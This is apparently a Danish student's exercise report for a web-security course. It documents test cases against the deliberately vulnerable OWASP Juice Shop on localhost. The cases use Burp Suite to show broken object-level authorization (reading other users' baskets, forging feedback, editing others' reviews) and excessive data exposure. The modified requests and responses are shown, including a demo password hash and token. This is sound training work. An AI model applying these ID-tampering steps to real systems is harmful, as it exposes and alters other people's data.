Skip to content

Øvelse 19 - Test Cases

Forfatter: Mathias Greisen

Dato: 2026-09-28

Fag/modul: IT-Sikkerhed i Webapplikationer

Status: Færdig


1. Beskrivelse af øvelsen

Øvelsen går ud på at at udvide test cases fra øvelse 17.


2. Reproduktion trin for trin

Find BOLA (Negativ test)

  • ID
    • JS-01
  • Summary
    • Test af autorisation til at se indkøbskurve.
  • Preconditions
    • Adgang til JuiceShop igennem burpsuite proxy.
  • Steps

    1. Tilgå JuiceShop med burpsuite som proxy. Opret og log ind som bruger A
    2. Tilføj emner til indkøbskurven.

    3. I Burpsuite tænd for intercept og klik på indkøbskurven i JuiceShop.

      • Noter ID'et på indkøbskurven:

            "GET /rest/basket/6 HTTP/1.1"
        
      • Intercept kan nu deaktiveres igen.

    4. Opret og log ind som bruger B.

    5. Aktiver igen intercept i Bursuite og klik på indkøbskurven.

    6. Send GET request til repeater.

      • Request til: "http://127.0.0.1:3000/rest/basket/{ID}"
    7. Skift ID URL-parameter

      • Skift {ID} til ID noteret i step 3.
    8. Send request og tjek response

      Raw HTTP response
      HTTP/1.1 200 OK
      
      [...]
      
      {
      "status":"success",
      "data":{
          "id":6,
          "coupon":null,
          "UserId":23,
          "createdAt":"2026-09-14T11:48:00.530Z",
          "updatedAt":"2026-09-14T11:48:00.530Z",
          "Products":[
          {
              "id":6,
              "name":"Banana Juice (1000ml)",
              "description":"Monkeys love it the most.",
              "price":1.99,
              "deluxePrice":1.99,
              "image":"banana_juice.jpg",
              "createdAt":"2026-09-14T11:42:10.097Z",
              "updatedAt":"2026-09-14T11:42:10.097Z",
              "deletedAt":null,
              "BasketItem":{
              "ProductId":6,
              "BasketId":6,
              "id":9,
              "quantity":1,
              "createdAt":"2026-09-14T11:48:10.979Z",
              "updatedAt":"2026-09-14T11:48:10.979Z"
              }
          },
      
          [...]
      
          ]
      }
      }
      
      - Postconfitions - Ingen. - Exected Results - Systemet skal afvise forespørgslen da det ikke er den nuværende brugers kurv. - Actual Result - Systemet tillod at se en anden brugers indkøbskurv. - Status - Failed

Find excessive Data Exposure (positive test)

  • ID
    • JS-02
  • Summary
    • Test af get /memories
  • Preconditions
    • Adgang til JuiceShop igennem burpsuite proxy.
  • Steps

    1. Tilgå JuiceShop med Burpsuite som proxy

    2. Åbn photo wall i JuiceShop

      • http://127.0.0.1:3000/#/photo-wall
    3. Tjek http history i Burpsuite

      • Find et GET kald til "GET /rest/memories/ HTTP/1.1"
      • Der sendes kun flere oplysninger retur ved første kald.
    4. Find EDE i response

      Response med EDE
      HTTP/1.1 200 OK
      Access-Control-Allow-Origin: *
      X-Content-Type-Options: nosniff
      X-Frame-Options: SAMEORIGIN
      Feature-Policy: payment 'self'
      X-Recruiting: /#/jobs
      Content-Type: application/json; charset=utf-8
      ETag: W/"1827-pjaV9PPdvogygFQBeM0+1zJsQGw"
      Vary: Accept-Encoding
      Date: Mon, 14 Sep 2026 12:40:39 GMT
      Connection: keep-alive
      Keep-Alive: timeout=5
      Content-Length: 6183
      
      {
      "status":"success",
      "data":[
          {
          "UserId":13,
          [...]
          "User":{
              "id":13,
              "username":"",
              "email":"bjoern@owasp.org",
              "password":"9283f1b2e9669749081963be0462e466",
              "role":"deluxe",
              "deluxeToken":"efe2f1599e2d93440d5243a1ffaf5a413b70cf3ac97156bd6fab9b5ddfcbe0e4",
              "lastLoginIp":"",
              "profileImage":"assets/public/images/uploads/13.jpg",
              "totpSecret":"",
              "isActive":true,
              "createdAt":"2026-09-14T11:42:07.669Z",
              "updatedAt":"2026-09-14T11:42:07.669Z",
              "deletedAt":null
          }
          },
          [...]
      ]
      }
      
      - Postconfitions - Ingen. - Exected Results - Systemet må ikke vises potentiel sensitive data omkirng andre brugere, som f.eks. password hashes, rolle, tokens, ip-adresse osv. - Actual Result - Systemet sendte sensitive data retur for alle brugere der havde oprettet et minde på photo-wall. - Status - Failed

Kombiner og exploit (negative)

  • ID
    • JS-03
  • Summary
    • Tjek at anden brugers indkøbskurv ikke kan tilgåes.
  • Preconditions
    • Adgang til JuiceShop igennem burpsuite proxy. Adgang til en ny bruger A. Adgang til en bruger B med varer i indkøbskurven.
  • Steps

    1. Noter bruger B's ID (UserId)
    2. Log ind som bruger A.
    3. Aktiver intercept i Bursuite og klik på indkøbskurven.
    4. Send GET request til repeater.

      • Request til: "http://127.0.0.1:3000/rest/basket/{ID}"
    5. Skift ID URL-parameter

      • Skift {ID} til ID noteret i step 3.
        1. Skift (enumerer) basket ID'et indtil en kurv linket til det korrekte UserID (Bruger B) returneres eller at alle kurve er enummereret igennem.

      {
      "status":"success",
      "data":{
          "id":1,
          "coupon":null,
          "UserId":1,
          "createdAt":"2026-09-14T11:42:10.290Z",
          "updatedAt":"2026-09-14T11:42:10.290Z",
          "Products":[
          {
              "id":1,
              "name":"Apple Juice (1000ml)",
              "description":"The all-time classic.",
              "price":1.99,
              "deluxePrice":0.99,
              "image":"apple_juice.jpg",
              "createdAt":"2026-09-14T11:42:10.097Z",
              "updatedAt":"2026-09-14T11:42:10.097Z",
              "deletedAt":null,
              "BasketItem":{
              "ProductId":1,
              "BasketId":1,
              "id":1,
              "quantity":2,
              "createdAt":"2026-09-14T11:42:10.350Z",
              "updatedAt":"2026-09-14T11:42:10.350Z"
              }
          },
      
          [...]
      
          ]
      }
      }
      
      - Postconfitions - Slet evt. de to test brugere A og B. - Exected Results - Som bruger A bør bruger B's indkøbskurv ikke kunne findes, da man ikke skal kunne tilgå og/eller se hvem der har en kurv i systemet. - Actual Result - Det lykkedes at finde bruger B's indkøbskurv, som bruger A. - Status - Failed

Even More BOLA vulnerabilities

Forge feedback from another user (destructive)

  • ID
    • JS-04
  • Summary
    • Forsøg at oprette en feedback for en anden bruger.
  • Preconditions
    • Adgang til UserID for den bruger man ønsker at oprette feedback for.
  • Steps

    1. Tilgå JuiceShop og klik på Customer Feedback.

    2. Udfyld felterne.

    3. Aktiver intercept i Burpsuite og indsend feedback.

    4. I Burpsuite send POST requesten til repeater.

    5. Skift "UserId" og evt. "comment" i request body til det ønskede.

      Eksempel på ændret data
      "UserId":21,
      "captchaId":3,
      "captcha":"55",
      "comment":"Test feedback (hacked)",
      "rating":1
      
    6. Send request afsted og tjek response for at det lykkedes

      Eksempel på ændret data
      "status":"success",
      "data":{
          "id":10,
          "UserId":21,
          "comment":"Test feedback (hacked)",
          "rating":1,
          "updatedAt":"2026-09-14T13:45:04.048Z",
          "createdAt":"2026-09-14T13:45:04.048Z"
      }
      
    7. (Ektra) Tjek administrator panel

      Dette kræver adgang til en admin konto i JuiceShop

      • Tilgå http://127.0.0.1:3000/#/administration
      • Tjek at den nye feedback er oprettet

      Skærmbillede af feedback - Postconfitions - Ingen. - Exected Results - At systemet kun bør tillade oprettelse af feedback for bruger som er logget ind i den kørende session. - Actual Result - Det lykkedes at oprette feedback på vegne af en anden bruger. - Status - Failed

Create or edit another users product review (destructive)

  • ID
    • JS-05
  • Summary
    • Forsøg at redigere en produkt anmeldelse for en anden bruger.
  • Preconditions
    • Adgang til en bruger.
  • Steps

    1. Åben JuiceShop med burpsuit som proxy og log ind.

    2. Opret et review på et produkt.

    3. Aktiver intercept i Burpsuite og klik på rediger review.

    4. Send PATCH request til repeater. Og deaktiver intercept.

    5. Aktiver intercept igen og klik på en vare.

    6. I Burpsuite, send GET request til repeater.

      • GET request til følgende endpoint: "/rest/products/30/reviews"
    7. Åben repeater og send GET request afsted. Noter "_id" for den kommentar som ønskes ændret.

      "message":"0 st4rs f0r 7h3 h0rr1bl3 s3cur17y",
      "author":"uvogin@juice-sh.op",
      "product":30,
      "likesCount":0,
      "likedBy":[
      ],
      "_id":"w6fbzSKqgG5tR7yXL"
      
    8. Find PATCH requesten og indsæt nu det noterede "_id" og skriv feedback besked som ønskes.

      "id":"w6fbzSKqgG5tR7yXL",
      "message":"Dette review er blevet ændret via BOLA"
      
    9. Send PATCH request afsted og tjek response.

      "modified":1,
      "original":[
      {
          "message":"0 st4rs f0r 7h3 h0rr1bl3 s3cur17y",
          "author":"uvogin@juice-sh.op",
          "product":30,
          "likesCount":0,
          "likedBy":[
          ],
          "_id":"w6fbzSKqgG5tR7yXL"
      }
      ],
      "updated":[
      {
          "message":"Dette review er blevet ændret via BOLA",
          "author":"uvogin@juice-sh.op",
          "product":30,
          "likesCount":0,
          "likedBy":[
          ],
          "_id":"w6fbzSKqgG5tR7yXL"
      }
      ]
      
      - Postconfitions - Rediger evt. feedback tilbage til det oprindelige. - Exected Results - Systemet bør kun tillade at man redigerer sine egne feedback. - Actual Result - Systemet tillod at redigere en anden brugers feedback. - Status - Failed


3. Problemer og løsninger

Jeg løb ikke ind i problemer under denne øvelse.


4. Reflektion

  1. Hvorfor bør man udarbejde test cases, når man arbejder med sikkerhedstest?

    • Det er vigtigt for at kunne reproducere testen og dermed også for at kunne dokumentere når en evt. sårbarhed er blevet mitigeret.
  2. Hvad er forskellen på en negativ og en destruktiv test?

    • En negativ test afprøver ikke valide indputs. En destruktiv test forsøger at ødelægge systemet (ødelægge CIA?), ved f.eks. at ændre på andres data (systemets integritet ødelægges).
  3. Hvordan kan velbeskrevne test cases bruges i samarbejde med andre udviklere eller sikkerhedstestere

    • De kan bruges til at de dermed også kan udføre testen, for en udvikler kunne det f.eks. gøre at de selv kan se om de har fået mitigeret en sårbarhed.

5. Opsummering af erfaringer

Jeg har opnået erfaring med at skrive test cases og vurdere vitigheden i at have dem når man arbehder med sikkerhedstests.